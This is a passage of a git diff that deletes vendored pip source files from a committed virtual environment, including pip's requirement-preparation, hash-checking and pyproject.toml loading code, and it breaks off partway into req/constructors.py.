-    already_downloaded_path = None
-    if download_dir:
-        already_downloaded_path = _check_download_dir(link, download_dir, hashes)
-
-    if already_downloaded_path:
-        from_path = already_downloaded_path
-    else:
-        from_path = link.file_path
-
-    # If --require-hashes is off, `hashes` is either empty, the
-    # link's embedded hash, or MissingHashes; it is required to
-    # match. If --require-hashes is on, we are satisfied by any
-    # hash in `hashes` matching: a URL-based or an option-based
-    # one; no internet-sourced hash will be in `hashes`.
-    if hashes:
-        hashes.check_against_path(from_path)
-    return File(from_path, None)
-
-
-def unpack_url(
-    link: Link,
-    location: str,
-    download: Downloader,
-    verbosity: int,
-    download_dir: str | None = None,
-    hashes: Hashes | None = None,
-) -> File | None:
-    """Unpack link into location, downloading if required.
-
-    :param hashes: A Hashes object, one of whose embedded hashes must match,
-        or HashMismatch will be raised. If the Hashes is empty, no matches are
-        required, and unhashable types of requirements (like VCS ones, which
-        would ordinarily raise HashUnsupported) are allowed.
-    """
-    # non-editable vcs urls
-    if link.is_vcs:
-        unpack_vcs_link(link, location, verbosity=verbosity)
-        return None
-
-    assert not link.is_existing_dir()
-
-    # file urls
-    if link.is_file:
-        file = get_file_url(link, download_dir, hashes=hashes)
-
-    # http urls
-    else:
-        file = get_http_url(
-            link,
-            download,
-            download_dir,
-            hashes=hashes,
-        )
-
-    # unpack the archive to the build dir location. even when only downloading
-    # archives, they have to be unpacked to parse dependencies, except wheels
-    if not link.is_wheel:
-        unpack_file(file.path, location, file.content_type)
-
-    return file
-
-
-def _check_download_dir(
-    link: Link,
-    download_dir: str,
-    hashes: Hashes | None,
-    warn_on_hash_mismatch: bool = True,
-) -> str | None:
-    """Check download_dir for previously downloaded file with correct hash
-    If a correct file is found return its path else None
-    """
-    download_path = join_within_directory(download_dir, link.filename)
-
-    if not os.path.exists(download_path):
-        return None
-
-    # If already downloaded, does its hash match?
-    logger.info("File was already downloaded %s", download_path)
-    if hashes:
-        try:
-            hashes.check_against_path(download_path)
-        except HashMismatch:
-            if warn_on_hash_mismatch:
-                logger.warning(
-                    "Previously-downloaded file %s has bad hash. Re-downloading.",
-                    download_path,
-                )
-            os.unlink(download_path)
-            return None
-    return download_path
-
-
-def _canonicalize_requirement(raw: str) -> str:
-    """Return a normalized form of a PEP 508 requirement string.
-
-    Used to compare ``Requires-Dist`` entries from two sources of metadata
-    for the same distribution without being confused by superficial
-    differences in name casing, extra casing, or extras ordering. May raise
-    ``InvalidRequirement`` if ``raw`` is not a valid PEP 508 string.
-
-    TODO: once https://github.com/pypa/packaging/pull/1278 is released and
-    vendored, ``Requirement.__eq__`` will canonicalize requested extras and
-    this manual normalization can be dropped in favour of comparing
-    ``Requirement`` objects directly.
-    """
-    parsed = get_requirement(raw)
-    parts: list[str] = [canonicalize_name(parsed.name)]
-    if parsed.extras:
-        normalized_extras = sorted(canonicalize_name(e) for e in parsed.extras)
-        parts.append(f"[{','.join(normalized_extras)}]")
-    if parsed.specifier:
-        parts.append(str(parsed.specifier))
-    if parsed.url:
-        parts.append(f" @ {parsed.url}")
-    if parsed.marker:
-        parts.append(f"; {parsed.marker}")
-    return "".join(parts)
-
-
-def _canonical_requires(
-    req: InstallRequirement, dist: BaseDistribution, source: str
-) -> frozenset[str]:
-    """Return the canonicalized ``Requires-Dist`` entries of ``dist``.
-
-    ``source`` describes which metadata file ``dist`` was parsed from, for
-    use in error messages.
-    """
-    canonical: set[str] = set()
-    for raw in dist.iter_raw_dependencies():
-        try:
-            # strip() because a folded metadata header may be returned
-            # with a leading newline; iter_dependencies() strips for the
-            # same reason.
-            canonical.add(_canonicalize_requirement(raw.strip()))
-        except InvalidRequirement as e:
-            raise MetadataInvalid(req, f"Requires-Dist in {source}: {e}")
-    return frozenset(canonical)
-
-
-def _check_sidecar_matches_wheel(
-    req: InstallRequirement,
-    sidecar_dist: BaseDistribution,
-    wheel_dist: BaseDistribution,
-) -> None:
-    """Check that a .metadata-based distribution matches the wheel's METADATA.
-
-    Compare ``Name``, ``Version``, ``Requires-Dist``, ``Requires-Python``
-    and ``Provides-Extra`` between the two and abort the install on any
-    mismatch as PEP 658 requires the metadata files "MUST be identical".
-
-    While the PEP doesn't mandate that consumers enforce the identical
-    requirement, it's good nonetheless to check to prevent confusing
-    behaviour when an index misbehaves.
-
-    Also note for name and version, pip usually rejects wheels if they're
-    inconsistent already. Checking them again here is purely defensive.
-    """
-
-    sidecar_name = canonicalize_name(sidecar_dist.raw_name)
-    wheel_name = canonicalize_name(wheel_dist.raw_name)
-    if sidecar_name != wheel_name:
-        raise SidecarMetadataInconsistent(req, "Name", sidecar_name, wheel_name)
-
-    if sidecar_dist.version != wheel_dist.version:
-        raise SidecarMetadataInconsistent(
-            req,
-            "Version",
-            str(sidecar_dist.version),
-            str(wheel_dist.version),
-        )
-
-    # For multi-use fields, only report the symmetric difference to avoid
-    # unnecessarily flagging matching values.
-    sidecar_requires = _canonical_requires(
-        req, sidecar_dist, "the PEP 658 .metadata file"
-    )
-    wheel_requires = _canonical_requires(req, wheel_dist, "the wheel's METADATA")
-    if sidecar_requires != wheel_requires:
-        raise SidecarMetadataInconsistent(
-            req,
-            "Requires-Dist",
-            ", ".join(sorted(sidecar_requires - wheel_requires)),
-            ", ".join(sorted(wheel_requires - sidecar_requires)),
-        )
-
-    if sidecar_dist.requires_python != wheel_dist.requires_python:
-        raise SidecarMetadataInconsistent(
-            req,
-            "Requires-Python",
-            str(sidecar_dist.requires_python),
-            str(wheel_dist.requires_python),
-        )
-
-    sidecar_extras = frozenset(sidecar_dist.iter_provided_extras())
-    wheel_extras = frozenset(wheel_dist.iter_provided_extras())
-    if sidecar_extras != wheel_extras:
-        raise SidecarMetadataInconsistent(
-            req,
-            "Provides-Extra",
-            ", ".join(sorted(sidecar_extras - wheel_extras)),
-            ", ".join(sorted(wheel_extras - sidecar_extras)),
-        )
-
-
-class RequirementPreparer:
-    """Prepares a Requirement"""
-
-    def __init__(
-        self,
-        *,
-        build_dir: str,
-        download_dir: str | None,
-        src_dir: str,
-        build_isolation: BuildIsolationMode,
-        build_isolation_installer: BuildEnvironmentInstaller,
-        check_build_deps: bool,
-        build_tracker: BuildTracker,
-        session: PipSession,
-        progress_bar: BarType,
-        finder: PackageFinder,
-        require_hashes: bool,
-        use_user_site: bool,
-        lazy_wheel: bool,
-        verbosity: int,
-        legacy_resolver: bool,
-        allow_editables: bool,
-    ) -> None:
-        super().__init__()
-
-        self.src_dir = src_dir
-        self.build_dir = build_dir
-        self.build_tracker = build_tracker
-        self._session = session
-        self._download = Downloader(session, progress_bar)
-        self.finder = finder
-
-        # Where still-packed archives should be written to. If None, they are
-        # not saved, and are deleted immediately after unpacking.
-        self.download_dir = download_dir
-
-        # Is build isolation allowed?
-        self.build_isolation = build_isolation
-        self.build_env_installer = build_isolation_installer
-
-        # Should check build dependencies?
-        self.check_build_deps = check_build_deps
-
-        # Should hash-checking be required?
-        self.require_hashes = require_hashes
-
-        # Should install in user site-packages?
-        self.use_user_site = use_user_site
-
-        # Should wheels be downloaded lazily?
-        self.use_lazy_wheel = lazy_wheel
-
-        # How verbose should underlying tooling be?
-        self.verbosity = verbosity
-
-        # Are we using the legacy resolver?
-        self.legacy_resolver = legacy_resolver
-
-        # Memoized downloaded files, as mapping of url: path.
-        self._downloaded: dict[str, str] = {}
-
-        # Previous "header" printed for a link-based InstallRequirement
-        self._previous_requirement_header = ("", "")
-
-        # Do we allow preparing editable wheels?
-        # When using pip wheel, editables must still produce regular wheels
-        self.allow_editables = allow_editables
-
-    def _log_preparing_link(self, req: InstallRequirement) -> None:
-        """Provide context for the requirement being prepared."""
-        if req.link.is_file and not req.is_wheel_from_cache:
-            message = "Processing %s"
-            information = str(display_path(req.link.file_path))
-        else:
-            message = "Collecting %s"
-            information = redact_auth_from_requirement(req.req) if req.req else str(req)
-
-        # If we used req.req, inject requirement source if available (this
-        # would already be included if we used req directly)
-        if req.req and req.comes_from:
-            if isinstance(req.comes_from, str):
-                comes_from: str | None = req.comes_from
-            else:
-                comes_from = req.comes_from.from_path()
-            if comes_from:
-                information += f" (from {comes_from})"
-
-        if (message, information) != self._previous_requirement_header:
-            self._previous_requirement_header = (message, information)
-            logger.info(message, information)
-
-        if req.is_wheel_from_cache:
-            with indent_log():
-                logger.info("Using cached %s", req.link.filename)
-
-    def _ensure_link_req_src_dir(
-        self, req: InstallRequirement, parallel_builds: bool
-    ) -> None:
-        """Ensure source_dir of a linked InstallRequirement."""
-        # Since source_dir is only set for editable requirements.
-        if req.link.is_wheel:
-            # We don't need to unpack wheels, so no need for a source
-            # directory.
-            return
-        assert req.source_dir is None
-        if req.link.is_existing_dir():
-            # build local directories in-tree
-            req.source_dir = req.link.file_path
-            return
-
-        # We always delete unpacked sdists after pip runs.
-        req.ensure_has_source_dir(
-            self.build_dir,
-            autodelete=True,
-            parallel_builds=parallel_builds,
-        )
-        req.ensure_pristine_source_checkout()
-
-    def _get_linked_req_hashes(self, req: InstallRequirement) -> Hashes:
-        # By the time this is called, the requirement's link should have
-        # been checked so we can tell what kind of requirements req is
-        # and raise some more informative errors than otherwise.
-        # (For example, we can raise VcsHashUnsupported for a VCS URL
-        # rather than HashMissing.)
-        if not self.require_hashes:
-            return req.hashes(trust_internet=True)
-
-        # We could check these first 2 conditions inside unpack_url
-        # and save repetition of conditions, but then we would
-        # report less-useful error messages for unhashable
-        # requirements, complaining that there's no hash provided.
-        if req.link.is_vcs:
-            raise VcsHashUnsupported()
-        if req.link.is_existing_dir():
-            raise DirectoryUrlHashUnsupported()
-
-        # Unpinned packages are asking for trouble when a new version
-        # is uploaded.  This isn't a security check, but it saves users
-        # a surprising hash mismatch in the future.
-        # file:/// URLs aren't pinnable, so don't complain about them
-        # not being pinned.
-        if not req.is_direct and not req.is_pinned:
-            raise HashUnpinned()
-
-        # If known-good hashes are missing for this requirement,
-        # shim it with a facade object that will provoke hash
-        # computation and then raise a HashMissing exception
-        # showing the user what the hash should be.
-        return req.hashes(trust_internet=False) or MissingHashes()
-
-    def _fetch_metadata_only(
-        self,
-        req: InstallRequirement,
-    ) -> BaseDistribution | None:
-        if self.legacy_resolver:
-            logger.debug(
-                "Metadata-only fetching is not used in the legacy resolver",
-            )
-            return None
-        if self.require_hashes:
-            logger.debug(
-                "Metadata-only fetching is not used as hash checking is required",
-            )
-            return None
-        # Try PEP 658 metadata first, then fall back to lazy wheel if unavailable.
-        return self._fetch_metadata_using_link_data_attr(
-            req
-        ) or self._fetch_metadata_using_lazy_wheel(req.link)
-
-    def _fetch_metadata_using_link_data_attr(
-        self,
-        req: InstallRequirement,
-    ) -> BaseDistribution | None:
-        """Fetch metadata from the data-dist-info-metadata attribute, if possible."""
-        # (1) Get the link to the metadata file, if provided by the backend.
-        metadata_link = req.link.metadata_link()
-        if metadata_link is None:
-            return None
-        assert req.req is not None
-        logger.verbose(
-            "Obtaining dependency information for %s from %s",
-            req.req,
-            metadata_link,
-        )
-        # (2) Download the contents of the METADATA file, separate from the dist itself.
-        metadata_file = get_http_url(
-            metadata_link,
-            self._download,
-            hashes=metadata_link.as_hashes(),
-        )
-        with open(metadata_file.path, "rb") as f:
-            metadata_contents = f.read()
-        # (3) Generate a dist just from those file contents.
-        metadata_dist = get_metadata_distribution(
-            metadata_contents,
-            req.link.filename,
-            req.req.name,
-        )
-        # (4) Ensure the Name: field from the METADATA file matches the name from the
-        #     install requirement.
-        #
-        #     NB: raw_name will fall back to the name from the install requirement if
-        #     the Name: field is not present, but it's noted in the raw_name docstring
-        #     that that should NEVER happen anyway.
-        if canonicalize_name(metadata_dist.raw_name) != canonicalize_name(req.req.name):
-            raise MetadataInconsistent(
-                req, "Name", req.req.name, metadata_dist.raw_name
-            )
-        return metadata_dist
-
-    def _fetch_metadata_using_lazy_wheel(
-        self,
-        link: Link,
-    ) -> BaseDistribution | None:
-        """Fetch metadata using lazy wheel, if possible."""
-        # --use-feature=fast-deps must be provided.
-        if not self.use_lazy_wheel:
-            return None
-        if link.is_file or not link.is_wheel:
-            logger.debug(
-                "Lazy wheel is not used as %r does not point to a remote wheel",
-                link,
-            )
-            return None
-
-        wheel = Wheel(link.filename)
-        name = wheel.name
-        logger.info(
-            "Obtaining dependency information from %s %s",
-            name,
-            wheel.version,
-        )
-        url = link.url.split("#", 1)[0]
-        try:
-            return dist_from_wheel_url(name, url, self._session)
-        except HTTPRangeRequestUnsupported:
-            logger.debug("%s does not support range requests", url)
-            return None
-
-    def _complete_partial_requirements(
-        self,
-        partially_downloaded_reqs: Iterable[InstallRequirement],
-        parallel_builds: bool = False,
-    ) -> None:
-        """Download any requirements which were only fetched by metadata."""
-        # Download to a temporary directory. These will be copied over as
-        # needed for downstream 'download', 'wheel', and 'install' commands.
-        temp_dir = TempDirectory(kind="unpack", globally_managed=True).path
-
-        # Map each link to the requirement that owns it. This allows us to set
-        # `req.local_file_path` on the appropriate requirement after passing
-        # all the links at once into BatchDownloader.
-        links_to_fully_download: dict[Link, InstallRequirement] = {}
-        for req in partially_downloaded_reqs:
-            assert req.link
-            links_to_fully_download[req.link] = req
-
-        batch_download = self._download.batch(links_to_fully_download.keys(), temp_dir)
-        for link, (filepath, _) in batch_download:
-            logger.debug("Downloading link %s to %s", link, filepath)
-            req = links_to_fully_download[link]
-            # Record the downloaded file path so wheel reqs can extract a Distribution
-            # in .get_dist().
-            req.local_file_path = filepath
-            # Record that the file is downloaded so we don't do it again in
-            # _prepare_linked_requirement().
-            self._downloaded[req.link.url] = filepath
-
-            # If this is an sdist, we need to unpack it after downloading, but the
-            # .source_dir won't be set up until we are in _prepare_linked_requirement().
-            # Add the downloaded archive to the install requirement to unpack after
-            # preparing the source dir.
-            if not req.is_wheel:
-                req.needs_unpacked_archive(Path(filepath))
-
-        # This step is necessary to ensure all lazy wheels are processed
-        # successfully by the 'download', 'wheel', and 'install' commands.
-        for req in partially_downloaded_reqs:
-            self._prepare_linked_requirement(req, parallel_builds)
-
-    def prepare_linked_requirement(
-        self, req: InstallRequirement, parallel_builds: bool = False
-    ) -> BaseDistribution:
-        """Prepare a requirement to be obtained from req.link."""
-        assert req.link
-        self._log_preparing_link(req)
-        with indent_log():
-            # Check if the relevant file is already available
-            # in the download directory
-            file_path = None
-            if self.download_dir is not None and req.link.is_wheel:
-                hashes = self._get_linked_req_hashes(req)
-                file_path = _check_download_dir(
-                    req.link,
-                    self.download_dir,
-                    hashes,
-                    # When a locally built wheel has been found in cache, we don't warn
-                    # about re-downloading when the already downloaded wheel hash does
-                    # not match. This is because the hash must be checked against the
-                    # original link, not the cached link. It that case the already
-                    # downloaded file will be removed and re-fetched from cache (which
-                    # implies a hash check against the cache entry's origin.json).
-                    warn_on_hash_mismatch=not req.is_wheel_from_cache,
-                )
-
-            if file_path is not None:
-                # The file is already available, so mark it as downloaded
-                self._downloaded[req.link.url] = file_path
-            else:
-                # The file is not available, attempt to fetch only metadata
-                metadata_dist = self._fetch_metadata_only(req)
-                if metadata_dist is not None:
-                    req.needs_more_preparation = True
-                    req.set_dist(metadata_dist)
-                    # Ensure download_info is available even in dry-run mode
-                    if req.download_info is None:
-                        req.download_info = direct_url_from_link(
-                            req.link, req.source_dir
-                        )
-                    return metadata_dist
-
-            # None of the optimizations worked, fully prepare the requirement
-            return self._prepare_linked_requirement(req, parallel_builds)
-
-    def prepare_linked_requirements_more(
-        self, reqs: Iterable[InstallRequirement], parallel_builds: bool = False
-    ) -> None:
-        """Prepare linked requirements more, if needed."""
-        reqs = [req for req in reqs if req.needs_more_preparation]
-        for req in reqs:
-            # Determine if any of these requirements were already downloaded.
-            if self.download_dir is not None and req.link.is_wheel:
-                hashes = self._get_linked_req_hashes(req)
-                file_path = _check_download_dir(req.link, self.download_dir, hashes)
-                if file_path is not None:
-                    self._downloaded[req.link.url] = file_path
-                    req.needs_more_preparation = False
-
-        # Prepare requirements we found were already downloaded for some
-        # reason. The other downloads will be completed separately.
-        partially_downloaded_reqs: list[InstallRequirement] = []
-        for req in reqs:
-            if req.needs_more_preparation:
-                partially_downloaded_reqs.append(req)
-            else:
-                self._prepare_linked_requirement(req, parallel_builds)
-
-        # TODO: separate this part out from RequirementPreparer when the v1
-        # resolver can be removed!
-        self._complete_partial_requirements(
-            partially_downloaded_reqs,
-            parallel_builds=parallel_builds,
-        )
-
-    def _prepare_linked_requirement(
-        self, req: InstallRequirement, parallel_builds: bool
-    ) -> BaseDistribution:
-        assert req.link
-        link = req.link
-
-        hashes = self._get_linked_req_hashes(req)
-
-        if hashes and req.is_wheel_from_cache:
-            assert req.download_info is not None
-            assert link.is_wheel
-            assert link.is_file
-            # We need to verify hashes, and we have found the requirement in the cache
-            # of locally built wheels.
-            if (
-                req.download_info.archive_info
-                and req.download_info.archive_info.hashes
-                and hashes.has_one_of(req.download_info.archive_info.hashes)
-            ):
-                # At this point we know the requirement was built from a hashable source
-                # artifact, and we verified that the cache entry's hash of the original
-                # artifact matches one of the hashes we expect. We don't verify hashes
-                # against the cached wheel, because the wheel is not the original.
-                hashes = None
-            else:
-                logger.warning(
-                    "The hashes of the source archive found in cache entry "
-                    "don't match, ignoring cached built wheel "
-                    "and re-downloading source."
-                )
-                req.link = req.cached_wheel_source_link
-                link = req.link
-
-        self._ensure_link_req_src_dir(req, parallel_builds)
-
-        if link.is_existing_dir():
-            local_file = None
-        elif link.url not in self._downloaded:
-            try:
-                local_file = unpack_url(
-                    link,
-                    req.source_dir,
-                    self._download,
-                    self.verbosity,
-                    self.download_dir,
-                    hashes,
-                )
-            except NetworkConnectionError as exc:
-                raise InstallationError(
-                    f"Could not install requirement {req} because of HTTP "
-                    f"error {exc} for URL {link}"
-                )
-        else:
-            file_path = self._downloaded[link.url]
-            if hashes:
-                hashes.check_against_path(file_path)
-            local_file = File(file_path, content_type=None)
-
-        # If download_info is set, we got it from the wheel cache.
-        if req.download_info is None:
-            # Editables don't go through this function (see
-            # prepare_editable_requirement).
-            assert not req.editable
-            req.download_info = direct_url_from_link(link, req.source_dir)
-            # Make sure we have a hash in download_info. If we got it as part of the
-            # URL, it will have been verified and we can rely on it. Otherwise we
-            # compute it from the downloaded file.
-            # FIXME: https://github.com/pypa/pip/issues/11943
-            if (
-                req.download_info.archive_info
-                and not req.download_info.archive_info.hashes
-                and local_file
-            ):
-                hash = hash_file(local_file.path)[0].hexdigest()
-                # We populate archive_info.hashes. For backward compatibility,
-                # the legacy hash field will be generated when converting to JSON.
-                req.download_info = DirectUrl(
-                    url=req.download_info.url,
-                    archive_info=ArchiveInfo(hashes={"sha256": hash}),
-                    subdirectory=req.download_info.subdirectory,
-                )
-
-        # For use in later processing,
-        # preserve the file path on the requirement.
-        if local_file:
-            req.local_file_path = local_file.path
-
-        dist = _get_prepared_distribution(
-            req,
-            self.build_tracker,
-            self.build_env_installer,
-            self.build_isolation,
-            self.check_build_deps,
-            self.allow_editables,
-        )
-
-        # If a PEP 658 .metadata file was used, check that fields relevant for
-        # dependency resolution match with the wheel's METADATA file.
-        #
-        # NOTE: PEP 658 also permits .metadata files for source distributions,
-        # but PyPI doesn't serve such files. In addition, an sdist's metadata
-        # is generated at build time and may legitimately differ from what the
-        # index declared, so it's been decided to skip this check for sdists.
-        # This can change later if needed.
-        #
-        # TODO: this is a hack for checking whether a distribution is metadata-
-        # only or not. If/when we refactor distributions to delineate between
-        # metadata-only and concrete distributions, clean this up.
-        if (
-            link.is_wheel
-            and req._distribution is not None
-            and req._distribution is not dist
-            and link.metadata_link() is not None
-        ):
-            _check_sidecar_matches_wheel(req, req._distribution, dist)
-
-        return dist
-
-    def save_linked_requirement(self, req: InstallRequirement) -> None:
-        assert self.download_dir is not None
-        assert req.link is not None
-        link = req.link
-        if link.is_vcs or (link.is_existing_dir() and req.editable):
-            # Make a .zip of the source_dir we already created.
-            req.archive(self.download_dir)
-            return
-
-        if link.is_existing_dir():
-            logger.debug(
-                "Not copying link to destination directory "
-                "since it is a directory: %s",
-                link,
-            )
-            return
-        if req.local_file_path is None:
-            # No distribution was downloaded for this requirement.
-            return
-
-        download_location = join_within_directory(self.download_dir, link.filename)
-        if not os.path.exists(download_location):
-            shutil.copy(req.local_file_path, download_location)
-            download_path = display_path(download_location)
-            logger.info("Saved %s", download_path)
-
-    def prepare_editable_requirement(
-        self,
-        req: InstallRequirement,
-    ) -> BaseDistribution:
-        """Prepare an editable requirement."""
-        assert req.editable, "cannot prepare a non-editable req as editable"
-
-        logger.info("Obtaining %s", req)
-
-        with indent_log():
-            if self.require_hashes:
-                raise InstallationError(
-                    f"The editable requirement {req} cannot be installed when "
-                    "requiring hashes, because there is no single file to "
-                    "hash."
-                )
-            req.ensure_has_source_dir(self.src_dir)
-            req.update_editable()
-            assert req.source_dir
-            req.download_info = direct_url_for_editable(req.unpacked_source_directory)
-
-            dist = _get_prepared_distribution(
-                req,
-                self.build_tracker,
-                self.build_env_installer,
-                self.build_isolation,
-                self.check_build_deps,
-                self.allow_editables,
-            )
-
-            req.check_if_exists(self.use_user_site)
-
-        return dist
-
-    def prepare_installed_requirement(
-        self,
-        req: InstallRequirement,
-        skip_reason: str,
-    ) -> BaseDistribution:
-        """Prepare an already-installed requirement."""
-        assert req.satisfied_by, "req should have been satisfied but isn't"
-        assert skip_reason is not None, (
-            "did not get skip reason skipped but req.satisfied_by "
-            f"is set to {req.satisfied_by}"
-        )
-        logger.info(
-            "Requirement %s: %s (%s)", skip_reason, req, req.satisfied_by.version
-        )
-        with indent_log():
-            if self.require_hashes:
-                logger.debug(
-                    "Since it is already installed, we are trusting this "
-                    "package without checking its hash. To ensure a "
-                    "completely repeatable environment, install into an "
-                    "empty virtualenv."
-                )
-            return InstalledDistribution(req).get_metadata_distribution()
diff --git a/venv/Lib/site-packages/pip/_internal/pyproject.py b/venv/Lib/site-packages/pip/_internal/pyproject.py
deleted file mode 100644
index 8c2f7221c93a4fa292795bffa427436c000495ec..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/pyproject.py
+++ /dev/null
@@ -1,123 +0,0 @@
-from __future__ import annotations
-
-import os
-from collections import namedtuple
-from typing import Any
-
-from pip._vendor.packaging.requirements import InvalidRequirement
-
-from pip._internal.exceptions import (
-    InstallationError,
-    InvalidPyProjectBuildRequires,
-    MissingPyProjectBuildRequires,
-)
-from pip._internal.utils.compat import tomllib
-from pip._internal.utils.packaging import get_requirement
-
-
-def _is_list_of_str(obj: Any) -> bool:
-    return isinstance(obj, list) and all(isinstance(item, str) for item in obj)
-
-
-def make_pyproject_path(unpacked_source_directory: str) -> str:
-    return os.path.join(unpacked_source_directory, "pyproject.toml")
-
-
-BuildSystemDetails = namedtuple(
-    "BuildSystemDetails", ["requires", "backend", "check", "backend_path"]
-)
-
-
-def load_pyproject_toml(
-    pyproject_toml: str, setup_py: str, req_name: str
-) -> BuildSystemDetails:
-    """Load the pyproject.toml file.
-
-    Parameters:
-        pyproject_toml - Location of the project's pyproject.toml file
-        setup_py - Location of the project's setup.py file
-        req_name - The name of the requirement we're processing (for
-                   error reporting)
-
-    Returns:
-        None if we should use the legacy code path, otherwise a tuple
-        (
-            requirements from pyproject.toml,
-            name of PEP 517 backend,
-            requirements we should check are installed after setting
-                up the build environment
-            directory paths to import the backend from (backend-path),
-                relative to the project root.
-        )
-    """
-    has_pyproject = os.path.isfile(pyproject_toml)
-    has_setup = os.path.isfile(setup_py)
-
-    if not has_pyproject and not has_setup:
-        raise InstallationError(
-            f"{req_name} does not appear to be a Python project: "
-            f"neither 'setup.py' nor 'pyproject.toml' found."
-        )
-
-    if has_pyproject:
-        with open(pyproject_toml, encoding="utf-8") as f:
-            pp_toml = tomllib.loads(f.read())
-        build_system = pp_toml.get("build-system")
-    else:
-        build_system = None
-
-    if build_system is None:
-        # In the absence of any explicit backend specification, we
-        # assume the setuptools backend that most closely emulates the
-        # traditional direct setup.py execution, and require wheel and
-        # a version of setuptools that supports that backend.
-
-        build_system = {
-            "requires": ["setuptools>=40.8.0"],
-            "build-backend": "setuptools.build_meta:__legacy__",
-        }
-
-    # Ensure that the build-system section in pyproject.toml conforms
-    # to PEP 518.
-
-    # Specifying the build-system table but not the requires key is invalid
-    if "requires" not in build_system:
-        raise MissingPyProjectBuildRequires(package=req_name)
-
-    # Error out if requires is not a list of strings
-    requires = build_system["requires"]
-    if not _is_list_of_str(requires):
-        raise InvalidPyProjectBuildRequires(
-            package=req_name,
-            reason="It is not a list of strings.",
-        )
-
-    # Each requirement must be valid as per PEP 508
-    for requirement in requires:
-        try:
-            get_requirement(requirement)
-        except InvalidRequirement as error:
-            raise InvalidPyProjectBuildRequires(
-                package=req_name,
-                reason=f"It contains an invalid requirement: {requirement!r}",
-            ) from error
-
-    backend = build_system.get("build-backend")
-    backend_path = build_system.get("backend-path", [])
-    check: list[str] = []
-    if backend is None:
-        # If the user didn't specify a backend, we assume they want to use
-        # the setuptools backend. But we can't be sure they have included
-        # a version of setuptools which supplies the backend. So we
-        # make a note to check that this requirement is present once
-        # we have set up the environment.
-        # This is quite a lot of work to check for a very specific case. But
-        # the problem is, that case is potentially quite common - projects that
-        # adopted PEP 518 early for the ability to specify requirements to
-        # execute setup.py, but never considered needing to mention the build
-        # tools themselves. The original PEP 518 code had a similar check (but
-        # implemented in a different way).
-        backend = "setuptools.build_meta:__legacy__"
-        check = ["setuptools>=40.8.0"]
-
-    return BuildSystemDetails(requires, backend, check, backend_path)
diff --git a/venv/Lib/site-packages/pip/_internal/req/__init__.py b/venv/Lib/site-packages/pip/_internal/req/__init__.py
deleted file mode 100644
index ed2ca30df3b433762180be0e3225ee1f1cbc56c2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/__init__.py
+++ /dev/null
@@ -1,105 +0,0 @@
-from __future__ import annotations
-
-import collections
-import logging
-from collections.abc import Generator
-from dataclasses import dataclass
-
-from pip._internal.cli.progress_bars import BarType, get_install_progress_renderer
-from pip._internal.utils.logging import indent_log
-
-from .req_file import parse_requirements
-from .req_install import InstallRequirement
-from .req_set import RequirementSet
-
-__all__ = [
-    "RequirementSet",
-    "InstallRequirement",
-    "parse_requirements",
-    "install_given_reqs",
-]
-
-logger = logging.getLogger(__name__)
-
-
-@dataclass(frozen=True)
-class InstallationResult:
-    name: str
-
-
-def _validate_requirements(
-    requirements: list[InstallRequirement],
-) -> Generator[tuple[str, InstallRequirement], None, None]:
-    for req in requirements:
-        assert req.name, f"invalid to-be-installed requirement: {req}"
-        yield req.name, req
-
-
-def install_given_reqs(
-    requirements: list[InstallRequirement],
-    root: str | None,
-    home: str | None,
-    prefix: str | None,
-    warn_script_location: bool,
-    use_user_site: bool,
-    pycompile: bool,
-    progress_bar: BarType,
-    script_executable: str | None = None,
-) -> list[InstallationResult]:
-    """
-    Install everything in the given list.
-
-    (to be called after having downloaded and unpacked the packages)
-    """
-    to_install = collections.OrderedDict(_validate_requirements(requirements))
-
-    if to_install:
-        logger.info(
-            "Installing collected packages: %s",
-            ", ".join(to_install.keys()),
-        )
-
-    installed = []
-
-    show_progress = logger.isEnabledFor(logging.INFO) and len(to_install) > 1
-
-    items = iter(to_install.values())
-    if show_progress:
-        renderer = get_install_progress_renderer(
-            bar_type=progress_bar, total=len(to_install)
-        )
-        items = renderer(items)
-
-    with indent_log():
-        for requirement in items:
-            req_name = requirement.name
-            assert req_name is not None
-            if requirement.should_reinstall:
-                logger.info("Attempting uninstall: %s", req_name)
-                with indent_log():
-                    uninstalled_pathset = requirement.uninstall(auto_confirm=True)
-            else:
-                uninstalled_pathset = None
-
-            try:
-                requirement.install(
-                    root=root,
-                    home=home,
-                    prefix=prefix,
-                    warn_script_location=warn_script_location,
-                    use_user_site=use_user_site,
-                    pycompile=pycompile,
-                    script_executable=script_executable,
-                )
-            except Exception:
-                # if install did not succeed, rollback previous uninstall
-                if uninstalled_pathset and not requirement.install_succeeded:
-                    uninstalled_pathset.rollback()
-                raise
-            else:
-                if uninstalled_pathset and requirement.install_succeeded:
-                    uninstalled_pathset.commit()
-
-            installed.append(InstallationResult(req_name))
-
-    return installed
diff --git a/venv/Lib/site-packages/pip/_internal/req/constructors.py b/venv/Lib/site-packages/pip/_internal/req/constructors.py
deleted file mode 100644
index 49158942b72e7e5d5a38915a77d246809af325ce..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/constructors.py
+++ /dev/null
@@ -1,662 +0,0 @@
-"""Backing implementation for InstallRequirement's various constructors
-
-The idea here is that these formed a major chunk of InstallRequirement's size
-so, moving them and support code dedicated to them outside of that class
-helps creates for better understandability for the rest of the code.
-
-These are meant to be used elsewhere within pip to create instances of
-InstallRequirement.
-"""
-
-from __future__ import annotations
-
-import copy
-import logging
-import os
-import re
-from collections.abc import Collection, Mapping
-from dataclasses import dataclass
-
-from pip._vendor.packaging import pylock
-from pip._vendor.packaging.markers import InvalidMarker, Marker
-from pip._vendor.packaging.requirements import InvalidRequirement, Requirement
-from pip._vendor.packaging.utils import parse_sdist_filename, parse_wheel_filename
-
-from pip._internal.exceptions import InstallationError
-from pip._internal.models.index import PyPI, TestPyPI
-from pip._internal.models.link import Link
-from pip._internal.models.wheel import Wheel
-from pip._internal.req.req_file import ParsedRequirement
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.utils.filetypes import is_archive_file
-from pip._internal.utils.misc import is_installable_dir
-from pip._internal.utils.packaging import get_requirement
-from pip._internal.utils.pylock import (
-    package_archive_requirement_url,
-    package_directory_requirement_url,
-    package_sdist_requirement_url,
-    package_vcs_requirement_url,
-    package_wheel_requirement_url,
-)
-from pip._internal.utils.urls import path_to_url
-from pip._internal.vcs import is_url, vcs
-
-__all__ = [
-    "install_req_from_editable",
-    "install_req_from_line",
-    "parse_editable",
-]
-
-logger = logging.getLogger(__name__)
-
-# All standard version specifier operators
